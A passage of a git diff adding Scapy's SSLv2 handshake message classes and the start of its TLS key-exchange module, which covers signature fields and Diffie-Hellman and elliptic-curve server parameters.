+class SSLv2ServerHello(_SSLv2Handshake):
+    """
+    SSLv2 ServerHello.
+    """
+    name = "SSLv2 Handshake - Server Hello"
+    fields_desc = [ ByteEnumField("msgtype", 4, _sslv2_handshake_type),
+
+                    ByteField("sid_hit", 0),
+                    ByteEnumField("certtype", 1, {1: "x509_cert"}),
+                    _TLSVersionField("version", 0x0002, _tls_version),
+
+                    FieldLenField("certlen", None, fmt="!H",
+                                  length_of="cert"),
+                    FieldLenField("cipherslen", None, fmt="!H",
+                                  length_of="ciphers"),
+                    FieldLenField("connection_idlen", None, fmt="!H",
+                                  length_of="connection_id"),
+
+                    _SSLv2CertDataField("cert", b"",
+                                        length_from=lambda pkt: pkt.certlen),
+                    _SSLv2CipherSuitesField("ciphers", [], _tls_cipher_suites,
+                                length_from=lambda pkt: pkt.cipherslen),
+                    XStrLenField("connection_id", b"",
+                                length_from=lambda pkt: pkt.connection_idlen) ]
+
+    def tls_session_update(self, msg_str):
+        """
+        XXX Something should be done about the session ID here.
+        """
+        super(SSLv2ServerHello, self).tls_session_update(msg_str)
+
+        s = self.tls_session
+        client_cs = s.sslv2_common_cs
+        css = [cs for cs in client_cs if cs in self.ciphers]
+        s.sslv2_common_cs = css
+        s.sslv2_connection_id = self.connection_id
+        s.tls_version = self.version
+        if self.cert is not None:
+            s.server_certs = [self.cert]
+
+
+###############################################################################
+### ClientMasterKey                                                         ###
+###############################################################################
+
+class _SSLv2CipherSuiteField(EnumField):
+    def __init__(self, name, default, dico):
+        EnumField.__init__(self, name, default, dico)
+
+    def i2m(self, pkt, val):
+        if val is None:
+            return b""
+        val2 = (val >> 16, val & 0x00ffff)
+        return struct.pack(">BH", val2[0], val2[1])
+
+    def addfield(self, pkt, s, val):
+        return s + self.i2m(pkt, val)
+
+    def m2i(self, pkt, m):
+        return struct.unpack("!I", b"\x00" + m[:3])[0]
+
+    def getfield(self, pkt, s):
+        return s[3:], self.m2i(pkt, s)
+
+class _SSLv2EncryptedKeyField(XStrLenField):
+    def i2repr(self, pkt, x):
+        s = super(_SSLv2EncryptedKeyField, self).i2repr(pkt, x)
+        if pkt.decryptedkey is not None:
+            dx = pkt.decryptedkey
+            ds = super(_SSLv2EncryptedKeyField, self).i2repr(pkt, dx)
+            s += "    [decryptedkey= %s]" % ds
+        return s
+
+class SSLv2ClientMasterKey(_SSLv2Handshake):
+    """
+    SSLv2 ClientMasterKey.
+    """
+    __slots__ = ["decryptedkey"]
+    name = "SSLv2 Handshake - Client Master Key"
+    fields_desc = [ ByteEnumField("msgtype", 2, _sslv2_handshake_type),
+                    _SSLv2CipherSuiteField("cipher", None, _tls_cipher_suites),
+
+                    FieldLenField("clearkeylen", None, fmt="!H",
+                                  length_of="clearkey"),
+                    FieldLenField("encryptedkeylen", None, fmt="!H",
+                                  length_of="encryptedkey"),
+                    FieldLenField("keyarglen", None, fmt="!H",
+                                  length_of="keyarg"),
+
+                    XStrLenField("clearkey", "",
+                                length_from=lambda pkt: pkt.clearkeylen),
+                    _SSLv2EncryptedKeyField("encryptedkey", "",
+                                length_from=lambda pkt: pkt.encryptedkeylen),
+                    XStrLenField("keyarg", "",
+                                length_from=lambda pkt: pkt.keyarglen) ]
+
+    def __init__(self, *args, **kargs):
+        """
+        When post_building, the packets fields are updated (this is somewhat
+        non-standard). We might need these fields later, but calling __str__
+        on a new packet (i.e. not dissected from a raw string) applies
+        post_build to an object different from the original one... unless
+        we hackishly always set self.explicit to 1.
+        """
+        if "decryptedkey" in kargs:
+            self.decryptedkey = kargs["decryptedkey"]
+            del kargs["decryptedkey"]
+        else:
+            self.decryptedkey = b""
+        super(SSLv2ClientMasterKey, self).__init__(*args, **kargs)
+        self.explicit = 1
+
+    def pre_dissect(self, s):
+        clearkeylen = struct.unpack("!H", s[4:6])[0]
+        encryptedkeylen = struct.unpack("!H", s[6:8])[0]
+        encryptedkeystart = 10 + clearkeylen
+        encryptedkey = s[encryptedkeystart:encryptedkeystart+encryptedkeylen]
+        if self.tls_session.server_rsa_key:
+            self.decryptedkey = \
+                    self.tls_session.server_rsa_key.decrypt(encryptedkey)
+        else:
+            self.decryptedkey = None
+        return s
+
+    def post_build(self, pkt, pay):
+        cs_val = None
+        if self.cipher is None:
+            common_cs = self.tls_session.sslv2_common_cs
+            cs_vals = get_usable_ciphersuites(common_cs, "SSLv2")
+            if len(cs_vals) == 0:
+                warning("No known common cipher suite between SSLv2 Hellos.")
+                cs_val = 0x0700c0
+                cipher = b"\x07\x00\xc0"
+            else:
+                cs_val = cs_vals[0]         #XXX choose the best one
+                cipher = struct.pack(">BH", cs_val >> 16, cs_val & 0x00ffff)
+            cs_cls = _tls_cipher_suites_cls[cs_val]
+            self.cipher = cs_val
+        else:
+            cipher = pkt[1:4]
+            cs_val = struct.unpack("!I", b"\x00" + cipher)[0]
+            if cs_val not in _tls_cipher_suites_cls:
+                warning("Unknown ciphersuite %d from ClientMasterKey" % cs_val)
+                cs_cls = None
+            else:
+                cs_cls = _tls_cipher_suites_cls[cs_val]
+
+        if cs_cls:
+            if (self.encryptedkey == b"" and
+                len(self.tls_session.server_certs) > 0):
+                # else, the user is responsible for export slicing & encryption
+                key = randstring(cs_cls.cipher_alg.key_len)
+
+                if self.clearkey == b"" and cs_cls.kx_alg.export:
+                    self.clearkey = key[:-5]
+
+                if self.decryptedkey == b"":
+                    if cs_cls.kx_alg.export:
+                        self.decryptedkey = key[-5:]
+                    else:
+                        self.decryptedkey = key
+
+                pubkey = self.tls_session.server_certs[0].pubKey
+                self.encryptedkey = pubkey.encrypt(self.decryptedkey)
+
+            if self.keyarg == b"" and cs_cls.cipher_alg.type == "block":
+                self.keyarg = randstring(cs_cls.cipher_alg.block_size)
+
+        clearkey = self.clearkey or b""
+        if self.clearkeylen is None:
+            self.clearkeylen = len(clearkey)
+        clearkeylen = struct.pack("!H", self.clearkeylen)
+
+        encryptedkey = self.encryptedkey or b""
+        if self.encryptedkeylen is None:
+            self.encryptedkeylen = len(encryptedkey)
+        encryptedkeylen = struct.pack("!H", self.encryptedkeylen)
+
+        keyarg = self.keyarg or b""
+        if self.keyarglen is None:
+            self.keyarglen = len(keyarg)
+        keyarglen = struct.pack("!H", self.keyarglen)
+
+        s = (chb(pkt[0]) + cipher
+             + clearkeylen + encryptedkeylen + keyarglen
+             + clearkey + encryptedkey + keyarg)
+        return s + pay
+
+    def tls_session_update(self, msg_str):
+        super(SSLv2ClientMasterKey, self).tls_session_update(msg_str)
+
+        s = self.tls_session
+        cs_val = self.cipher
+        if cs_val not in _tls_cipher_suites_cls:
+            warning("Unknown cipher suite %d from ClientMasterKey" % cs_val)
+            cs_cls = None
+        else:
+            cs_cls = _tls_cipher_suites_cls[cs_val]
+
+        tls_version = s.tls_version or 0x0002
+        connection_end = s.connection_end
+        wcs_seq_num = s.wcs.seq_num
+        s.pwcs = writeConnState(ciphersuite=cs_cls,
+                                            connection_end=connection_end,
+                                            seq_num=wcs_seq_num,
+                                            tls_version=tls_version)
+        rcs_seq_num = s.rcs.seq_num
+        s.prcs = readConnState(ciphersuite=cs_cls,
+                                           connection_end=connection_end,
+                                           seq_num=rcs_seq_num,
+                                           tls_version=tls_version)
+
+        if self.decryptedkey is not None:
+            s.master_secret = self.clearkey + self.decryptedkey
+            s.compute_sslv2_km_and_derive_keys()
+
+            if s.pwcs.cipher.type == "block":
+                s.pwcs.cipher.iv = self.keyarg
+            if s.prcs.cipher.type == "block":
+                s.prcs.cipher.iv = self.keyarg
+
+            s.triggered_prcs_commit = True
+            s.triggered_pwcs_commit = True
+
+
+###############################################################################
+### ServerVerify                                                            ###
+###############################################################################
+
+class SSLv2ServerVerify(_SSLv2Handshake):
+    """
+    In order to parse a ServerVerify, the exact message string should be
+    fed to the class. This is how SSLv2 defines the challenge length...
+    """
+    name = "SSLv2 Handshake - Server Verify"
+    fields_desc = [ ByteEnumField("msgtype", 5, _sslv2_handshake_type),
+                    XStrField("challenge", "") ]
+
+    def build(self, *args, **kargs):
+        fval = self.getfieldval("challenge")
+        if fval is None:
+            self.challenge = self.tls_session.sslv2_challenge
+        return super(SSLv2ServerVerify, self).build(*args, **kargs)
+
+    def post_dissection(self, pkt):
+        s = self.tls_session
+        if s.sslv2_challenge is not None:
+            if self.challenge != s.sslv2_challenge:
+                pkt_info = pkt.firstlayer().summary()
+                log_runtime.info("TLS: invalid ServerVerify received [%s]", pkt_info)
+
+
+###############################################################################
+### RequestCertificate                                                      ###
+###############################################################################
+
+class SSLv2RequestCertificate(_SSLv2Handshake):
+    """
+    In order to parse a RequestCertificate, the exact message string should be
+    fed to the class. This is how SSLv2 defines the challenge length...
+    """
+    name = "SSLv2 Handshake - Request Certificate"
+    fields_desc = [ ByteEnumField("msgtype", 7, _sslv2_handshake_type),
+                    ByteEnumField("authtype", 1, {1: "md5_with_rsa"}),
+                    XStrField("challenge", "") ]
+
+    def tls_session_update(self, msg_str):
+        super(SSLv2RequestCertificate, self).tls_session_update(msg_str)
+        self.tls_session.sslv2_challenge_clientcert = self.challenge
+
+
+###############################################################################
+### ClientCertificate                                                       ###
+###############################################################################
+
+class SSLv2ClientCertificate(_SSLv2Handshake):
+    """
+    SSLv2 ClientCertificate.
+    """
+    name = "SSLv2 Handshake - Client Certificate"
+    fields_desc = [ ByteEnumField("msgtype", 8, _sslv2_handshake_type),
+
+                    ByteEnumField("certtype", 1, {1: "x509_cert"}),
+                    FieldLenField("certlen", None, fmt="!H",
+                                  length_of="certdata"),
+                    FieldLenField("responselen", None, fmt="!H",
+                                  length_of="responsedata"),
+
+                    _SSLv2CertDataField("certdata", b"",
+                                      length_from=lambda pkt: pkt.certlen),
+                    _TLSSignatureField("responsedata", None,
+                                length_from=lambda pkt: pkt.responselen) ]
+
+    def build(self, *args, **kargs):
+        s = self.tls_session
+        sig = self.getfieldval("responsedata")
+        test = (sig is None and
+                s.sslv2_key_material is not None and
+                s.sslv2_challenge_clientcert is not None and
+                len(s.server_certs) > 0)
+        if test:
+            s = self.tls_session
+            m = (s.sslv2_key_material +
+                 s.sslv2_challenge_clientcert +
+                 s.server_certs[0].der)
+            self.responsedata = _TLSSignature(tls_session=s)
+            self.responsedata._update_sig(m, s.client_key)
+        else:
+            self.responsedata = b""
+        return super(SSLv2ClientCertificate, self).build(*args, **kargs)
+
+    def post_dissection_tls_session_update(self, msg_str):
+        self.tls_session_update(msg_str)
+
+        s = self.tls_session
+        test = (len(s.client_certs) > 0 and
+                s.sslv2_key_material is not None and
+                s.sslv2_challenge_clientcert is not None and
+                len(s.server_certs) > 0)
+        if test:
+            m = (s.sslv2_key_material +
+                 s.sslv2_challenge_clientcert +
+                 s.server_certs[0].der)
+            sig_test = self.responsedata._verify_sig(m, s.client_certs[0])
+            if not sig_test:
+                pkt_info = self.firstlayer().summary()
+                log_runtime.info("TLS: invalid client CertificateVerify signature [%s]", pkt_info)
+
+    def tls_session_update(self, msg_str):
+        super(SSLv2ClientCertificate, self).tls_session_update(msg_str)
+        if self.certdata:
+            self.tls_session.client_certs = [self.certdata]
+
+
+###############################################################################
+### Finished                                                                ###
+###############################################################################
+
+class SSLv2ClientFinished(_SSLv2Handshake):
+    """
+    In order to parse a ClientFinished, the exact message string should be fed
+    to the class. SSLv2 does not offer any other way to know the c_id length.
+    """
+    name = "SSLv2 Handshake - Client Finished"
+    fields_desc = [ ByteEnumField("msgtype", 3, _sslv2_handshake_type),
+                    XStrField("connection_id", "") ]
+
+    def build(self, *args, **kargs):
+        fval = self.getfieldval("connection_id")
+        if fval == b"":
+            self.connection_id = self.tls_session.sslv2_connection_id
+        return super(SSLv2ClientFinished, self).build(*args, **kargs)
+
+    def post_dissection(self, pkt):
+        s = self.tls_session
+        if s.sslv2_connection_id is not None:
+            if self.connection_id != s.sslv2_connection_id:
+                pkt_info = pkt.firstlayer().summary()
+                log_runtime.info("TLS: invalid client Finished received [%s]", pkt_info)
+
+
+class SSLv2ServerFinished(_SSLv2Handshake):
+    """
+    In order to parse a ServerFinished, the exact message string should be fed
+    to the class. SSLv2 does not offer any other way to know the sid length.
+    """
+    name = "SSLv2 Handshake - Server Finished"
+    fields_desc = [ ByteEnumField("msgtype", 6, _sslv2_handshake_type),
+                    XStrField("sid", "") ]
+
+    def build(self, *args, **kargs):
+        fval = self.getfieldval("sid")
+        if fval == b"":
+            self.sid = self.tls_session.sid
+        return super(SSLv2ServerFinished, self).build(*args, **kargs)
+
+    def post_dissection_tls_session_update(self, msg_str):
+        self.tls_session_update(msg_str)
+        self.tls_session.sid = self.sid
+
+
+###############################################################################
+### All handshake messages defined in this module                           ###
+###############################################################################
+
+_sslv2_handshake_cls = { 0: SSLv2Error,             1: SSLv2ClientHello,
+                         2: SSLv2ClientMasterKey,   3: SSLv2ClientFinished,
+                         4: SSLv2ServerHello,       5: SSLv2ServerVerify,
+                         6: SSLv2ServerFinished,    7: SSLv2RequestCertificate,
+                         8: SSLv2ClientCertificate }
+
diff --git a/scapy/layers/tls/keyexchange.py b/scapy/layers/tls/keyexchange.py
new file mode 100644
index 0000000..64ed6be
--- /dev/null
+++ b/scapy/layers/tls/keyexchange.py
@@ -0,0 +1,921 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##               2015, 2016, 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+TLS key exchange logic.
+"""
+
+from __future__ import absolute_import
+import math
+
+from scapy.config import conf, crypto_validator
+from scapy.error import warning
+from scapy.fields import *
+from scapy.compat import orb
+from scapy.packet import Packet, Raw, Padding
+from scapy.layers.tls.cert import PubKeyRSA, PrivKeyRSA
+from scapy.layers.tls.session import _GenericTLSSessionInheritance
+from scapy.layers.tls.basefields import _tls_version, _TLSClientVersionField
+from scapy.layers.tls.crypto.pkcs1 import pkcs_i2osp, pkcs_os2ip
+from scapy.layers.tls.crypto.groups import _ffdh_groups, _tls_named_curves
+import scapy.modules.six as six
+
+if conf.crypto_valid:
+    from cryptography.hazmat.backends import default_backend
+    from cryptography.hazmat.primitives.asymmetric import dh, ec
+
+
+###############################################################################
+### Common Fields                                                           ###
+###############################################################################
+
+_tls_hash_sig = { 0x0000: "none+anon",    0x0001: "none+rsa",
+                  0x0002: "none+dsa",     0x0003: "none+ecdsa",
+                  0x0100: "md5+anon",     0x0101: "md5+rsa",
+                  0x0102: "md5+dsa",      0x0103: "md5+ecdsa",
+                  0x0200: "sha1+anon",    0x0201: "sha1+rsa",
+                  0x0202: "sha1+dsa",     0x0203: "sha1+ecdsa",
+                  0x0300: "sha224+anon",  0x0301: "sha224+rsa",
+                  0x0302: "sha224+dsa",   0x0303: "sha224+ecdsa",
+                  0x0400: "sha256+anon",  0x0401: "sha256+rsa",
+                  0x0402: "sha256+dsa",   0x0403: "sha256+ecdsa",
+                  0x0500: "sha384+anon",  0x0501: "sha384+rsa",
+                  0x0502: "sha384+dsa",   0x0503: "sha384+ecdsa",
+                  0x0600: "sha512+anon",  0x0601: "sha512+rsa",
+                  0x0602: "sha512+dsa",   0x0603: "sha512+ecdsa",
+                  0x0804: "sha256+rsapss",
+                  0x0805: "sha384+rsapss",
+                  0x0806: "sha512+rsapss",
+                  0x0807: "ed25519",
+                  0x0808: "ed448" }
+
+
+def phantom_mode(pkt):
+    """
+    We expect this. If tls_version is not set, this means we did not process
+    any complete ClientHello, so we're most probably reading/building a
+    signature_algorithms extension, hence we cannot be in phantom_mode.
+    However, if the tls_version has been set, we test for TLS 1.2.
+    """
+    if not pkt.tls_session:
+        return False
+    if not pkt.tls_session.tls_version:
+        return False
+    return pkt.tls_session.tls_version < 0x0303
+
+def phantom_decorate(f, get_or_add):
+    """
+    Decorator for version-dependent fields.
+    If get_or_add is True (means get), we return s, self.phantom_value.
+    If it is False (means add), we return s.
+    """
+    def wrapper(*args):
+        self, pkt, s = args[:3]
+        if phantom_mode(pkt):
+            if get_or_add:
+                return s, self.phantom_value
+            return s
+        return f(*args)
+    return wrapper
+
+class SigAndHashAlgField(EnumField):
+    """Used in _TLSSignature."""
+    phantom_value = None
+    getfield = phantom_decorate(EnumField.getfield, True)
+    addfield = phantom_decorate(EnumField.addfield, False)
+
+class SigAndHashAlgsLenField(FieldLenField):
+    """Used in TLS_Ext_SignatureAlgorithms and TLSCertificateResquest."""
+    phantom_value = 0
+    getfield = phantom_decorate(FieldLenField.getfield, True)
+    addfield = phantom_decorate(FieldLenField.addfield, False)
+
+class SigAndHashAlgsField(FieldListField):
+    """Used in TLS_Ext_SignatureAlgorithms and TLSCertificateResquest."""
+    phantom_value = []
+    getfield = phantom_decorate(FieldListField.getfield, True)
+    addfield = phantom_decorate(FieldListField.addfield, False)
+
+
+class SigLenField(FieldLenField):
+    """There is a trick for SSLv2, which uses implicit lengths..."""
+    def getfield(self, pkt, s):
+        v = pkt.tls_session.tls_version
+        if v and v < 0x0300:
+            return s, None
+        return super(SigLenField, self).getfield(pkt, s)
+
+    def addfield(self, pkt, s, val):
+        """With SSLv2 you will never be able to add a sig_len."""
+        v = pkt.tls_session.tls_version
+        if v and v < 0x0300:
+            return s
+        return super(SigLenField, self).addfield(pkt, s, val)
+
+class SigValField(StrLenField):
+    """There is a trick for SSLv2, which uses implicit lengths..."""
+    def getfield(self, pkt, m):
+        s = pkt.tls_session
+        if s.tls_version and s.tls_version < 0x0300:
+            if len(s.client_certs) > 0:
+                sig_len = s.client_certs[0].pubKey.pubkey.key_size // 8
+            else:
+                warning("No client certificate provided. "
+                        "We're making a wild guess about the signature size.")
+                sig_len = 256
+            return m[sig_len:], self.m2i(pkt, m[:sig_len])
+        return super(SigValField, self).getfield(pkt, m)
+
+
+class _TLSSignature(_GenericTLSSessionInheritance):
+    """
+    Prior to TLS 1.2, digitally-signed structure implicitly used the
+    concatenation of a MD5 hash and a SHA-1 hash.
+    Then TLS 1.2 introduced explicit SignatureAndHashAlgorithms,
+    i.e. couples of (hash_alg, sig_alg). See RFC 5246, section 7.4.1.4.1.
+
+    By default, the _TLSSignature implements the TLS 1.2 scheme,
+    but if it is provided a TLS context with a tls_version < 0x0303
+    at initialization, it will fall back to the implicit signature.
+    Even more, the 'sig_len' field won't be used with SSLv2.
+
+    #XXX 'sig_alg' should be set in __init__ depending on the context.
+    """
+    name = "TLS Digital Signature"
+    fields_desc = [ SigAndHashAlgField("sig_alg", 0x0401, _tls_hash_sig),
+                    SigLenField("sig_len", None, fmt="!H",
+                                length_of="sig_val"),
+                    SigValField("sig_val", None,
+                                length_from=lambda pkt: pkt.sig_len) ]
+
+    def __init__(self, *args, **kargs):
+        super(_TLSSignature, self).__init__(*args, **kargs)
+        if (self.tls_session and
+            self.tls_session.tls_version and
+            self.tls_session.tls_version < 0x0303):
+            self.sig_alg = None
+
+    def _update_sig(self, m, key):
+        """
+        Sign 'm' with the PrivKey 'key' and update our own 'sig_val'.
+        Note that, even when 'sig_alg' is not None, we use the signature scheme
+        of the PrivKey (neither do we care to compare the both of them).
+        """
+        if self.sig_alg is None:
+            if self.tls_session.tls_version >= 0x0300:
+                self.sig_val = key.sign(m, t='pkcs', h='md5-sha1')
+            else:
+                self.sig_val = key.sign(m, t='pkcs', h='md5')
+        else:
+            h, sig = _tls_hash_sig[self.sig_alg].split('+')
+            if sig.endswith('pss'):
+                t = "pss"
+            else:
+                t = "pkcs"
+            self.sig_val = key.sign(m, t=t, h=h)
+
+    def _verify_sig(self, m, cert):
+        """
+        Verify that our own 'sig_val' carries the signature of 'm' by the
+        key associated to the Cert 'cert'.
+        """
+        if self.sig_val:
+            if self.sig_alg:
+                h, sig = _tls_hash_sig[self.sig_alg].split('+')
+                if sig.endswith('pss'):
+                    t = "pss"
+                else:
+                    t = "pkcs"
+                return cert.verify(m, self.sig_val, t=t, h=h)
+            else:
+                if self.tls_session.tls_version >= 0x0300:
+                    return cert.verify(m, self.sig_val, t='pkcs', h='md5-sha1')
+                else:
+                    return cert.verify(m, self.sig_val, t='pkcs', h='md5')
+        return False
+
+    def guess_payload_class(self, p):
+        return Padding
+
+class _TLSSignatureField(PacketField):
+    """
+    Used for 'digitally-signed struct' in several ServerKeyExchange,
+    and also in CertificateVerify. We can handle the anonymous case.
+    """
+    __slots__ = ["length_from"]
+    def __init__(self, name, default, length_from=None, remain=0):
+        self.length_from = length_from
+        PacketField.__init__(self, name, default, _TLSSignature, remain=remain)
+
+    def m2i(self, pkt, m):
+        l = self.length_from(pkt)
+        if l == 0:
+           return None
+        return _TLSSignature(m, tls_session=pkt.tls_session)
+
+    def getfield(self, pkt, s):
+        i = self.m2i(pkt, s)
+        if i is None:
+            return s, None
+        remain = b""
+        if conf.padding_layer in i:
+            r = i[conf.padding_layer]
+            del(r.underlayer.payload)
+            remain = r.load
+        return remain, i
+
+
+class _TLSServerParamsField(PacketField):
+    """
+    This is a dispatcher for the Server*DHParams below, used in
+    TLSServerKeyExchange and based on the key_exchange.server_kx_msg_cls.
+    When this cls is None, it means that we should not see a ServerKeyExchange,
+    so we grab everything within length_from and make it available using Raw.
+
+    When the context has not been set (e.g. when no ServerHello was parsed or
+    dissected beforehand), we (kinda) clumsily set the cls by trial and error.
+    XXX We could use Serv*DHParams.check_params() once it has been implemented.
+    """
+    __slots__ = ["length_from"]
+    def __init__(self, name, default, length_from=None, remain=0):
+        self.length_from = length_from
+        PacketField.__init__(self, name, default, None, remain=remain)
+
+    def m2i(self, pkt, m):
+        s = pkt.tls_session
+        l = self.length_from(pkt)
+        if s.prcs:
+            cls = s.prcs.key_exchange.server_kx_msg_cls(m)
+            if cls is None:
+                return None, Raw(m[:l])/Padding(m[l:])
+            return cls(m, tls_session=s)
+        else:
+            try:
+                p = ServerDHParams(m, tls_session=s)
+                if pkcs_os2ip(p.load[:2]) not in _tls_hash_sig:
+                    raise Exception
+                return p
+            except:
+                cls = _tls_server_ecdh_cls_guess(m)
+                p = cls(m, tls_session=s)
+                if pkcs_os2ip(p.load[:2]) not in _tls_hash_sig:
+                    return None, Raw(m[:l])/Padding(m[l:])
+                return p
+
+
+###############################################################################
+### Server Key Exchange parameters & value                                  ###
+###############################################################################
+
+### Finite Field Diffie-Hellman
+
+class ServerDHParams(_GenericTLSSessionInheritance):
+    """
+    ServerDHParams for FFDH-based key exchanges, as defined in RFC 5246/7.4.3.
+
+    Either with .fill_missing() or .post_dissection(), the server_kx_privkey or
+    server_kx_pubkey of the TLS context are updated according to the
+    parsed/assembled values. It is the user's responsibility to store and
+    restore the original values if he wants to keep them. For instance, this
+    could be done between the writing of a ServerKeyExchange and the receiving
+    of a ClientKeyExchange (which includes secret generation).
+    """
+    name = "Server FFDH parameters"
+    fields_desc = [ FieldLenField("dh_plen", None, length_of="dh_p"),
+                    StrLenField("dh_p", "",
+                                length_from=lambda pkt: pkt.dh_plen),
+                    FieldLenField("dh_glen", None, length_of="dh_g"),
+                    StrLenField("dh_g", "",
+                                length_from=lambda pkt: pkt.dh_glen),
+                    FieldLenField("dh_Yslen", None, length_of="dh_Ys"),
+                    StrLenField("dh_Ys", "",
+                                length_from=lambda pkt: pkt.dh_Yslen) ]
+
+    @crypto_validator
+    def fill_missing(self):
+        """
+        We do not want TLSServerKeyExchange.build() to overload and recompute
+        things everytime it is called. This method can be called specifically
+        to have things filled in a smart fashion.
+
+        Note that we do not expect default_params.g to be more than 0xff.
+        """
+        s = self.tls_session
+
+        default_params = _ffdh_groups['modp2048'][0].parameter_numbers()
+        default_mLen = _ffdh_groups['modp2048'][1]
+
+        if not self.dh_p:
+            self.dh_p = pkcs_i2osp(default_params.p, default_mLen//8)
+        if self.dh_plen is None:
+            self.dh_plen = len(self.dh_p)
+
+        if not self.dh_g:
+            self.dh_g = pkcs_i2osp(default_params.g, 1)
+        if self.dh_glen is None:
+            self.dh_glen = 1
+
+        p = pkcs_os2ip(self.dh_p)
+        g = pkcs_os2ip(self.dh_g)
+        real_params = dh.DHParameterNumbers(p, g).parameters(default_backend())
+
+        if not self.dh_Ys:
+            s.server_kx_privkey = real_params.generate_private_key()
+            pubkey = s.server_kx_privkey.public_key()
+            y = pubkey.public_numbers().y
+            self.dh_Ys = pkcs_i2osp(y, pubkey.key_size//8)
+        # else, we assume that the user wrote the server_kx_privkey by himself
+        if self.dh_Yslen is None:
+            self.dh_Yslen = len(self.dh_Ys)
+
+        if not s.client_kx_ffdh_params:
+            s.client_kx_ffdh_params = real_params
+
+    @crypto_validator
+    def register_pubkey(self):
+        """
+        XXX Check that the pubkey received is in the group.
+        """
+        p = pkcs_os2ip(self.dh_p)
+        g = pkcs_os2ip(self.dh_g)
+        pn = dh.DHParameterNumbers(p, g)
+
+        y = pkcs_os2ip(self.dh_Ys)
+        public_numbers = dh.DHPublicNumbers(y, pn)
+
+        s = self.tls_session
+        s.server_kx_pubkey = public_numbers.public_key(default_backend())
+
+        if not s.client_kx_ffdh_params:
+            s.client_kx_ffdh_params = pn.parameters(default_backend())
+
+    def post_dissection(self, r):
+        try:
+            self.register_pubkey()
+        except ImportError:
+            pass
+
+    def guess_payload_class(self, p):
+        """
+        The signature after the params gets saved as Padding.
+        This way, the .getfield() which _TLSServerParamsField inherits
+        from PacketField will return the signature remain as expected.
+        """
+        return Padding
+
+
+### Elliptic Curve Diffie-Hellman
+
+_tls_ec_curve_types = { 1: "explicit_prime",
+                        2: "explicit_char2",
+                        3: "named_curve" }
+
+_tls_ec_basis_types = { 0: "ec_basis_trinomial", 1: "ec_basis_pentanomial"}
+
+class ECCurvePkt(Packet):
+    name = "Elliptic Curve"
+    fields_desc = [ FieldLenField("alen", None, length_of="a", fmt="B"),
+                    StrLenField("a", "", length_from = lambda pkt: pkt.alen),
+                    FieldLenField("blen", None, length_of="b", fmt="B"),
+                    StrLenField("b", "", length_from = lambda pkt: pkt.blen) ]
+
+
+## Char2 Curves
+
+class ECTrinomialBasis(Packet):
+    name = "EC Trinomial Basis"
+    val = 0
+    fields_desc = [ FieldLenField("klen", None, length_of="k", fmt="B"),
+                    StrLenField("k", "", length_from = lambda pkt: pkt.klen) ]
+    def guess_payload_class(self, p):
+        return Padding
+
+class ECPentanomialBasis(Packet):
+    name = "EC Pentanomial Basis"
+    val = 1
+    fields_desc = [ FieldLenField("k1len", None, length_of="k1", fmt="B"),
+                    StrLenField("k1", "", length_from=lambda pkt: pkt.k1len),
+                    FieldLenField("k2len", None, length_of="k2", fmt="B"),
+                    StrLenField("k2", "", length_from=lambda pkt: pkt.k2len),
+                    FieldLenField("k3len", None, length_of="k3", fmt="B"),
+                    StrLenField("k3", "", length_from=lambda pkt: pkt.k3len) ]
+    def guess_payload_class(self, p):
+        return Padding
+
+_tls_ec_basis_cls = { 0: ECTrinomialBasis, 1: ECPentanomialBasis}
+
+class _ECBasisTypeField(ByteEnumField):
+    __slots__ = ["basis_type_of"]
+    def __init__(self, name, default, enum, basis_type_of, remain=0):
+        self.basis_type_of = basis_type_of
+        EnumField.__init__(self, name, default, enum, "B")
+
+    def i2m(self, pkt, x):
+        if x is None:
+            val = 0
+            fld,fval = pkt.getfield_and_val(self.basis_type_of)
+            x = fld.i2basis_type(pkt, fval)
+        return x
+
+class _ECBasisField(PacketField):
+    __slots__ = ["clsdict", "basis_type_from"]
+    def __init__(self, name, default, basis_type_from, clsdict, remain=0):
+        self.clsdict = clsdict
+        self.basis_type_from = basis_type_from
+        PacketField.__init__(self, name, default, None, remain=remain)
+
+    def m2i(self, pkt, m):
+        basis = self.basis_type_from(pkt)
+        cls = self.clsdict[basis]
+        return cls(m)
+
+    def i2basis_type(self, pkt, x):
+        val = 0
+        try:
+            val = x.val
+        except:
+            pass
+        return val
+
+
+## Distinct ECParameters
+##
+## To support the different ECParameters structures defined in Sect. 5.4 of
+## RFC 4492, we define 3 separates classes for implementing the 3 associated
+## ServerECDHParams: ServerECDHNamedCurveParams, ServerECDHExplicitPrimeParams
+## and ServerECDHExplicitChar2Params (support for this one is only partial).
+## The most frequent encounter of the 3 is (by far) ServerECDHNamedCurveParams.
+
+class ServerECDHExplicitPrimeParams(_GenericTLSSessionInheritance):
+    """
+    We provide parsing abilities for ExplicitPrimeParams, but there is no
+    support from the cryptography library, hence no context operations.
+    """
+    name = "Server ECDH parameters - Explicit Prime"
+    fields_desc = [ ByteEnumField("curve_type", 1, _tls_ec_curve_types),
+                    FieldLenField("plen", None, length_of="p", fmt="B"),
+                    StrLenField("p", "", length_from=lambda pkt: pkt.plen),
+                    PacketField("curve", None, ECCurvePkt),
+                    FieldLenField("baselen", None, length_of="base", fmt="B"),
+                    StrLenField("base", "",
+                                length_from=lambda pkt: pkt.baselen),
+                    FieldLenField("orderlen", None,
+                                  length_of="order", fmt="B"),
+                    StrLenField("order", "",
+                                length_from=lambda pkt: pkt.orderlen),
+                    FieldLenField("cofactorlen", None,
+                                  length_of="cofactor", fmt="B"),
+                    StrLenField("cofactor", "",
+                                length_from=lambda pkt: pkt.cofactorlen),
+                    FieldLenField("pointlen", None,
+                                  length_of="point", fmt="B"),
+                    StrLenField("point", "",
+                                length_from=lambda pkt: pkt.pointlen) ]
+
+    def fill_missing(self):
+        """
+        Note that if it is not set by the user, the cofactor will always
+        be 1. It is true for most, but not all, TLS elliptic curves.
+        """
+        if self.curve_type is None:
+            self.curve_type = _tls_ec_curve_types["explicit_prime"]
+
+    def guess_payload_class(self, p):
+        return Padding
+
+
+class ServerECDHExplicitChar2Params(_GenericTLSSessionInheritance):
+    """
+    We provide parsing abilities for Char2Params, but there is no
+    support from the cryptography library, hence no context operations.
+    """
+    name = "Server ECDH parameters - Explicit Char2"
+    fields_desc = [ ByteEnumField("curve_type", 2, _tls_ec_curve_types),
+                    ShortField("m", None),
+                    _ECBasisTypeField("basis_type", None,
+                                      _tls_ec_basis_types, "basis"),
+                    _ECBasisField("basis", ECTrinomialBasis(),
+                                  lambda pkt: pkt.basis_type,
